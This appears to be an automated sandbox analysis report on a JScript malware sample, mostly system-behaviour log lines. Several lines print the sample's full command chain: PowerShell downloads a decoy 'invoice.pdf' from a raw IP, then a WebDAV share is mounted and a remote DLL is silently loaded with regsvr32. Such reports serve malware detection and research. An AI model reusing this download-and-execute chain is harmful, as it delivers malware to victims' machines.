Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7093.js.csv");ITextStream.WriteLine(" entry:8100 f:bqnyz");ITextStream.WriteLine(" exec:2 f:bqnyz");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4344			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5510			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7428	Thread sleep count: 4344 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7428	Thread sleep count: 5510 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7496	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7532	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7704	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7944	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000003.1793515070.00000181AE2BE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1798913312.00000181AE258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3018405336.00000158BE42F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3019418095.00000158C3A54000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

